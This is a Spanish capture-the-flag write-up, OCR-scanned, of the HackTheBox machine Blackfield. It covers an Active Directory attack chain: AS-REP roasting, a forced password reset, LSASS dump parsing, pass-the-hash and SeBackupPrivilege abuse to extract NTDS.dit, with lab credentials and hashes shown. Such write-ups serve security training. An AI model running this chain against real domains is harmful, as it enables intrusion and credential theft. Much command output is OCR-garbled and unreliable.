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O- Introduccion

Blackfield fue un CTF de dificultad dificil clasificada en HackTheBox, creada por aas.
Pone a prueba mi conocimiento de Active Directory y me ensefia nuevos trucos durante
su resolucion. Requiere de la enumeracion de SMB seguido de AS-Rep Roasting
utilizando la lista de cuentas encontradas. EI movimiento lateral requeria cambiar la
contrasefia de una cuenta que tenia acceso al recurso forensics compartido. EI segundo
movimiento lateral consistié en encontrar un volcado lIsass, utilizarlo pypykatz para
analizarlo y obtener una sesion remota. Escalar a Administrador requeria la recuperacion
de ntds.dit mediante el uso diskshadow.exe para crear un Volume Shadow Copy de la
unidad C:\'y luego aprovechar el privilegio SeBackupPrivilege, copiarlo y luego usar el
hash de Administrador para acceder a una sesion remota.

1- Enumeracion
1.1.  NMAP

nmap -p- -——open -vvv —min-rate 5000 10.10.10.192 -0G openport
06:52 EDT

, 8.18s elapsed (1 total hosts)
lu f 1 hos
ion of 1 host. ] elapsed
2 Mode: Async [ @, NX: 1, DR: @, SF: @, TR: 1, CN: @]

open
open

p on 1 D.1

p on 1@.1@.10@

elapsed (65535 total ports)

048s latency).

Cp ope

Read data files from: /usr/bin
Nmap done: 1 IP add (1 h
Raw pa g
kaligkali

5985 -sV -wv 10.10.10.192 -ob

eros (server time: 2022-06-07 17:59:

ows Active Directory LDAP (Domain: BLACKFIELD.local@., Si

HTTP 1.0
Directory LDAP (Domain: BLACKFIELD.local®., Si
te-Name)

P syn-ack ttl 127 ft HTTPAPI httpd 2. /UPNP)
fo: Host: DC@1; 0S: Window CPE: nicrosoft:windows
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19.10.18.192 BLACKFIELD.local

1.2. RPC

El primer servicio con el que voy a buscar es RPC poOr si puedo entrar sin credenciales
para enumerar las cuentas de usuario dentro del dominio. Como estoy usando Linux, uso
rpcclient para conectarme al servicio. Utilizo -U " -N para conectarme sin nombre de
usuario y sin contrasefia seguido de la IP del objetivo 10.10.10.192. Una vez conectado,
utilizo enumdomusers para enumerar las cuentas de dominio en la maquina. Sin embargo,
esto no tuvo éxito ya que recibi el siguiente mensaje de error que
NT_STATUS_ACCESS_DENIED que indica que necesito ser autenticado.

kaligkali rpcclient -U " -N 10.10.10.192
rpcclient $> enumdomusers

result was NT_STATUS_ACCESS_DENIED
rpcclient $ ]

1.3. SMB

A continuacidn, voy a intentar enumerar los recursos de SMB compartidos utilizando el
acceso anonimo nuevamente. VVoy a usar la herramienta smbclient para esto con el
parametro -U " nuevamente para indicar que no hay nombre de usuario y —L para
enumerar todos los recursos compartidos disponibles, seguido de la ubicacion del recurso
compartido //10.10.10.192.

kaligkali smbclient -U "" -L //10.10.10.192
Password for [WORKGROUP\]:

Sharename Type Comment
ADMINS Disk Remote Admin
c$ Disk Default share
forensic Disk Forensic / Audit share.
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
profiles$ Disk
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.192 failed (Error NT_STATUS_IO_TIMEOUT)
nable to connect with SMB1 — no workgroup available
kaligkali

Esto fue un éxito y ahora tengo una lista de recursos disponibles para mi. Los que se
destacan para mi son forensic y profiles$. En este momento no tengo permiso para
ingresar al recurso forensic, por lo que voy a centrar mi atencion en profiles$. Es
interesante, ya que $ significa que se trata de un recurso compartido oculto. VVoy a ejecutar
un comando smbclient similar a continuacion que me mostrara el contenido del recurso
profiles$.
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smbclient -U

commands .

D
D
D
D
D B Wed
D 0 Wed
D
D
D
D
D
D
D
D
D
D
D
D
D
D
D

El comando se completd con éxito y devolvié una gran lista de posibles cuentas de
usuario. La guardo en un archivo llamado users.txt.

2- Explotacion

2.1. AS-Rep Roasting

Como ahora tengo una lista de usuarios potenciales y Kerberos se esta ejecutando, voy a
completar dos tareas. Primero verificaré qué cuentas son reales y segundo verificaré si
alguna cuenta dentro de mi lista tiene la propiedad UF_DONT_REQUIRE_PREAUTH
establecida. Para lograr esto voy a usar impacket-GetNPUsers.

impacket-GetNPU s blackfield.local/ -userstfile users.txt -outputf

t not found i

t not found i

t not found i

t not found i

t not found i

t not found i

t not found i

L t not found i

AL _UNKNO\ t not found i
TPAL_UNKNOL t not found i
| t not found i

ot fr 3

Después de ejecuta, logré mis dos objetivos. He encontrado algunas cuentas support y
svc_backup. Ahora tengo un TGT para la cuenta de support.

cat hash.txt




mkali john —wordlist=/home/kali/rockyou.txt hash.txt
directory: /h

input in
Kerberos 5 AS-REP etype 17/ [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1l AES 25
X )
x]1)
n 4 OpenMP threads
' C to abort ther for status

2.2. Enumdlinux

Ahora que tengo las credenciales, voy a regresar y hacer mas enumeraciones, ya que ahora
tengo la autenticacion disponible. Comienzo ejecutando la enum4linux para automatizar
algunas enumeraciones basicas. Los argumentos que paso son —a para la enumeracion
completa, -u support para usar el usuario de la cuenta, -p '#00"BlackKnight'
proporcionando la contrasefia (la contrasefia tiene " alrededor para que el comando no se
vea afectado por los simbolos) y luego la IP del objetivo 10.10.10.192.

ali enum4linu u support -p ° kKnight' 1@.1
g enumélinux v@.9.1 ( http://labs.portcullis.co. plication/enum&lin on Tue Jun 7

Usernames .. administi guest, krbtgt, domain admins, root, bim, none

Una vez que se completd este escaneo, resulté en una gran cantidad de informacién y la
mayor parte no era de utilidad, sin embargo, pude obtener otra gran lista de cuentas de
usuario que formateé nuevamente y almacené en users2.txt.

2.3. Evil-WinRM
Con las credenciales del usuario support vamos a intentar conectarnos a la maquina
victima con la Shell Evil-WinRM. Primero hacemos la comprobacion con crackmapexec.

kaligkali

kalinkali

No esta disponible la conexion para el usuario support a través del servicio wsman.

Como no encontramos ningun vector de ataque, y tenemos unas credenciales, vamos a
utilizar la herramienta bloodhound, y para extraer la informacion bloodhound-python.
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2.4. Bloodhound

ipkali

Found AD domain: bl
i to LDAP

Found 1 d
Found

bloodhound-python -c all -u 'support' -p

.blackfield.local

ion with 1@ 'S

thout
without
thout

hostname: SRV-INTRANET$
hostn
hostna
hostn
hostn
hostn
hostn

t hostn

ithout

computer:

g computer:

ng computer:
without

without

without
i t hostn

hostn
hostname:
hostn

hostname:

hostn

hostn

t hostname:

without

hostn

.BLACKFIELD.local

Knight' -ns 10.10.

El siguiente paso sera subir los archivos generados a Bloodhound, aunque primero

debemos iniciar neo4j. EI comando para ello es sudo neo4j console.

BloadHeund

= A K Y

Database Info

AZSubscription ]

AZTenant

Refresh Database Stats

SUPPORT@BLACKFIELD LOCAL

i ® W B

3




Primero, debemos buscar el usuario para el cual tenemos credenciales. Una vez
encontrado, click derecho sobre el usuario y seleccionamos Mark User as Owned, lo cual
haré que aparezca una calavera sobre el usuario.

2

SUPPORT(@BLACKFIELD.LOCAL

Una vez completado este paso, nos desplazamos a la pestafia Node Info, donde nos
dirigiremos a OUTBOUND CONTROL RIGHTS vy seleccionaremos la opcion First
Degree Object Control.

First Degree RDP Privileges 0
Group Delegated RDP Privileges 0
First Degree DCOM Privileges 0
Group Delegated DCOM Privileges 0
SQL Admin Rights 0
Constrained Delegation Privileges 0

First Degree Object Control — 1

Group Delegated Object Control 0
Transitive Object Control >
Explicit Object Controllers ]
Unrolled Object Controllers 3

Transitive Object Controllers >




SUPPORT@BLACKFIELD.LOCAL

Obtenemos como resultado que el usuario support puede cambiar la contrasefia del
usuario audit2020.

Info Abuse Info Opsec Considerations References

The user SUPPORT@BLACKFIELD.LOCAL has the capability to change the user
AUDIT2020@BLACKFIELD.LOCAL's password without knowing that user's current
password.

Close

2.5. Restablecimiento de contrasenas a través de RPC.
Vamos a utilizar como base esta publicacion de como restablecer contrasefias de
Windows a través de RPC. Para ello, utilizaremos el comando setuserinfo2.

rpcclient -U 'blackfield.local/suppor “BlackKnight' 10.10.10.192

[password_expired]

No sirven todas las contrasefias, después de varias pruebas, la contrasefia debe tener 7
caracteres y entre ellos debe haber 1 nimero y un simbolo.

A continuacion, comprobamos las nuevas credenciales.

kaligkali crack @. u audi g -p "hack3r!’
18.108.10.192 i uil (na DCO1) (domain:BLACKFIELD.
10.10.10.192 5




kalimkali crackmapexec winrm 10.10.10. a
10.10.10.192 5985 pCel Window .0 Build 3 (na (domain:BLACKFIELD.loca

1)
19.10.10.192 5985 pCel
10.10.10.192 5985 pCel

Con el usuario audit2020 y la nueva contrasefia, puedo realizar conexion a traves de smb
pero aun no puedo realizar la conexiéon utilizando winrrm.

2.6. Acceso SMB con usuario audit2020

kalidkali crackma smb 18.10.10.192 -u audi
19.10.18.192 445 Ca dows 10.0 Build

[+] BLACKFIELD.Ll i thack3r!
[+] Enumerated s
Share e ions Remark

ADMINS
c$

8.1 2
9.10.10.192

kaligkali

Como podemos ver, ahora tenemos acceso READ al recurso compartido forensic que
vimos anteriormente.

kaligkali smbclient //10.10.10.192/forensic -U audit2020
Password for [WORKGROUP\audit2020]:
Try "help" to get a list of possible commands.
smb: \> ls

Sun Feb
o% Sun Feb
commands_output Sun Feb
memory_analysis Thu May
tools Sun Feb

08:03:16
08:03:16
13:14:37
16:28:33
08:39:08

NNNNN
wWoowww

5102079 blocks of size 4096. 1650456 blocks available
smb: \> [}

e Dentro de commands_output del directorio vemos la salida de varios comandos,
como netstat, systeminfo.

e Dentro de tolos tenemos varias herramientas que pueden ser utilizadas para
realizar auditorias y analisis forenses.

e En el interior de memory_analysis tenemos volcados de memoria, donde destaca
Isass.zip, que entendemos que es la captura de memoria del proceso LSASS.

Descargamos a nuestra maquina el recurso Isass.zip

smb: \memory_analysis\> get lsass.zip

getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (3853.0 KiloBytes/sec) (average 3853.0 KiloByt
es/sec)

smb: \memory analysis\> “C

Y extraemos su contenido.

kaligkali unzip lsa
Archive: i
inflating: lsa

LSASS significa Servicio de Subsistema de Autoridad de Seguridad Local. En Windows
se utiliza para mejorar las politicas de seguridad y autenticacion y en ella se almacenan
datos de autenticacion.




file lsass.DMP
Sun Feb 18

Para extraer las credenciales de un volcado LSASS se utiliza Mimikatz. Para Linux
podemos utilizar pypykatz, una implementacion escrita en Python de Mimikatz. Se puede
instalar via pip3 install pypykatz.

1sa minidump lsass

Domain

= WDIG
use
domainname B
password None

username [NeifiFilstrator
domainname BLACKFIELD
logon_server DCO1
logon_time 2020-02-23T17:59:04.506080+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-500
luid 153705
= MSV =
Username: Administrator
Domain: BLACKFIELD
LM: NA
NT: 7fle4ff8c6aB8eb6bb6fcae2d9c0572cd62
SHA1: db5c89a961644f0978b4b69a4d2a2239d7886368
DPAPI: 240339f898b6ac4ce3f34702e4a89550
— WDIGEST [25869]1=
username Administrator
domainname BLACKFIELD
password None
= Kerberos =
Username: Administrator
Domain: BLACKFIELD.LOCAL
= WDIGEST [25869]1=
username Administrator
domainname BLACKFIELD
password None
= DPAPI [25869]=
luid 153705
key_guid d1f69692-cfdc-4a80-959e-bab79c9c327e
masterkey 769c45bf7ceb3c0e28fb78f2e355f7072873930b3cl1d3aef@e@4ecbb3eafl16aa946e553007259bf307eb740f222decadd996ed
660ffe648b0440d84cd97bf5a5
shal_masterkey d@4452f8459a46460939ced67b971bcf27cb2fb9

De todos los hashes NTLM descubiertos en el volcado, son interesantes svc_backup y
Administrator. Después de ejecutar crackmapexec contra cada uno de ellos, pero el hash
de Administrator no funciono, probablemente fue cambiado.
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2.7. Shell como svc_backup

iinrm 10.10.10.192

0.10.10.192 591 DCal

Dcel
DCal

El hash de svc_backup funciona tanto para SMB como para winrm. Sabiendo esto,
podemos utilizar herramientas como wmiexec, psexec, smbexec o Evil-WimRM que
admiten la autenticacion mediante hash NTLM. Nos decantamos por Evil-WinRM.

kaligkali evil-winrm -i 10.10.10.192 -u svc_backup -H '9658d1d1dcd9250115e2205d
9f48400d"

iby limitation: quoting_detection_proc() function is unimplemen

PS C:\Users\svc_backup\Documents> whoami
blackfield\svc_backup
PS C:\Users\svc_backup\Documents> cd .

PS C:\Users\svc_backup> cd Desktop
PS C:\Users\svc_backup\Desktop> dir

Directory: C:\Users\svc_backup\Desktop

LastWriteTime Length Name

2/28/2020 2:26 PM 32 user.txt

PS C:\Users\svc_backup\Desktop> type user.txt

PS C:\Users\svc_backup\Desktop> [J

Una vez establecida la Shell, nos aseguramos que usuario somos y buscamos la flag
user.txt.

3- Elevacion de privilegios
Vamos a enumerar los privilegios a los que tiene acceso el usuario svc_backup. Para ello,
utilizamos el comando whoami /priv.
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PRIVILEGES INFORMATION

Privilege MName Description State
Add workstation i Enabled
B: es Enabled
Restore files Enabled
Shut down the Enabled
Bypass t ing Enabled
Inc 158 a proce 1 ¢ing set Enabled

Podemos ver que nuestro usuario tiene privilegios SeBackupPrivilege vy
SeRestorePrivilege, que son directorios que permiten al usuario acceder a directorios que
no le pertenecen o para los que no tiene permisos.

\ JE_backupHDesktopr whoami

GROUP INFORMATION
Attributes

Well-known group S ITC Enabled by default, Enable
awckup Operators Alias S 5-32-551 Mandatory grec Enabled by default, Enable
“Remote Management Users Alias S 5 Enabled by default, Enable
\Users Alias S 5-32-545 / BrC Enabled by default, Enable
re-Windows Compatible Access Alias 5 5-3 Mandatory gro Enabled by default, Enable

d group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Manda ) g Enabled by default, Enable
Authenticated Users Well-known group 5-1-5-11 Mandatory gre Enabled by default, Enable
Well-known group S-1-5-15 Mandatory gre Enabled by default, Enable

d group

NTHAUTHOEITYHNTLM Authentication Well-known group 5-1-5-64-10 Mandatory group, Enabled by default, Enable

Label 5-1-16-
ktop> i

El usuario svc_backup es miembro del grupo Backup Operators, por lo que tiene
privilegios de respaldo que le permiten respaldar y restaurar, leer y escribir archivos en
el sistema.
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S C:\Users\swvc_backup\Desktop> net user svc_backup
User name kup
Full MName
Comment
er's comment

U
( stem Default)

20 18:54:48 AN

20 18:54:48 A

Last logon
Logon hours allowed
Local Group Memberships *Backup Operators *Remote Management Use

Glo Group m ships #Domain Users
The command comp ed successfully.

sers\svc_backup\Desktop> |
Proximos pasos:

e Obtener una copia del archivo NTDS.dit, que es una base de datos que almacena
las credenciales de los usuarios de Active Directory.

e Seguiremos buscando el archivo SYSTEM que contiene la clave esencial para 13
descifrar NTDS.dit.

e Con la herramienta secretsdump extraeremos todos los usuarios en el dominio del
archivo NTDS.dit.

3.1. Diskshadow
Diskshadow.exe es una herramienta que expone la funcionalidad que ofrece el Servicio
de instantaneas de volumen (VSS).

En este documento explica el abuso en la escalada de privilegios SeBackupPrivilege,
ademas de otros muchos privilegios.

Primero creo un archivo llamado diskshadow.txt con el contenido. Esto crea una copia de
c:\ debajo del alias userAlias con la letra de la unidad z:\.

Primero creamos el archivo diskshadow.txt

calimkali cat diskshadow.txt
spoolhdrivershcolorhelhackeretico.cabs
istent nowrit
alias elhad
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Usersh\svc_backuph\Documents> upload diskshadow.

er ID: {b5946

Attributes: No_A

1

Abrimos el contenido de la unidad Z:\.

PS C:\Users\svc_backup\Documents> cd Z:\
PS Z:\> dir

Directory: Z:\

LastWriteTime Length Name

5/26/2020 :38 PM PerflLogs
6/3/2020 147 AM profiles
3/19/2020 108 AM Program Files
2/1/2020 105 AM Program Files
2/23/2020 116 AM Users
9/21/2020 129 PM Windows
2/28/2020 136 PM 447 notes.txt

ps z:\> |}

ent variable.
ironment variable.

14



3.2. Busqueda del archivo NTDS

A continuacion, buscamos el archivo NTDS.dit que

Windows y dentro de este, en la carpeta NTDS.

\Windows“\NTDS

LastWriteTime

\Windows\NTDS> I

se encuentra en el directorio

Name

} ntds.dit

ntds.jfm
temp.edb

Ahora copiaré el archivo usando robocopy con el parametro /B para ignorar los permisos
del archivo y lo colocaré en un nuevo directorio ntds_new para guardar el nuevo archivo.

ROBOCOPY

Dest
Files : ntds.dit

Options : /DCOPY:DA

New Dir
New File

ers\svc_backup\Documents> robocop

Robust File Copy for Windows

2022 11:14:34 AM

c_backup\Documents\new_ntds\

JCOPY:DAT /B

idows\ntdsh,
A m ntds.dit

Skipped Mismatch

4]
4]
4]

: Wednesday, June 8§,

4]
4]
4]

‘\Windows\ntds .\new_ntds ntds.dit

15

FAILED
4]
4]
4]

Ahora ya podemos descargar el archivo ntds.dit usando el comando download. También
es importante guardar la colmena SYSTEM para poder descifrar el archivo ntds.dit. Una

s
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vez completado este paso, podemos utilizar impacket-secretsdump para descifrar.

resultados los guardo en el archivo ntds.hashes.

3.3. Busqueda del hash del usuario Administrator

PS C:\Users\svc_backup\Documents> 1s
Directory: C:\Users\svc_backup\Documents
LastWriteTime Length Name
6/8/2022 10:32 AM new_ntds

6/8/2022 11:00 AM 183 diskshadow.txt
6/8/2022 11:18 AM 17383424 system.save

PS C:\Users\svc_backup\Documents> cd new_ntds
PS C:\Users\svc_backup\Documents\new_ntds> dir

Directory: C:\Users\svc_backup\Documents\new_ntds

LastWriteTime Length Name

6/8/2022 10:32 AM 18874368 ntds.dit

PS C:\Users\svc_backup\Documents\new_ntds> download ntds.dit

PS C:\Users\svc_backup\Documents\new_ntds> cd
PS C:\Users\svc_backup\Documents> dir

Directory: C:\Users\svc_backup\Documents
LastWriteTime Length Name
6/8/2022 10:32 AM new_ntds

6/8/2022 11:00 AM 183 diskshadow.txt
6/8/2022 11:18 AM 17383424 system.save

PS C:\Users\svc_backup\Documents> download system.save

PS C:\Users\svc_backup\Documents> [j

Los
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tsdump -system system.s -ntds ntds.dit L

Ahora comprobamos si el hash encontrado para el usuario Administrator nos permite
conectarnos a través de SMB o0 WinRM.

L eld.local -u 'Administr
Windows 1@.¢0

BLACKFIELD.loc Administr

ec winrm blackfield.local -u ‘Administr

Windows 10.@ Build 1

WinRM. 17

inrm -i 10.10.10.192 -u Administ

is unir

riteTime

PM

PM
\Administr:

Administ op>

Y ya tendriamos la maquina resuelta.




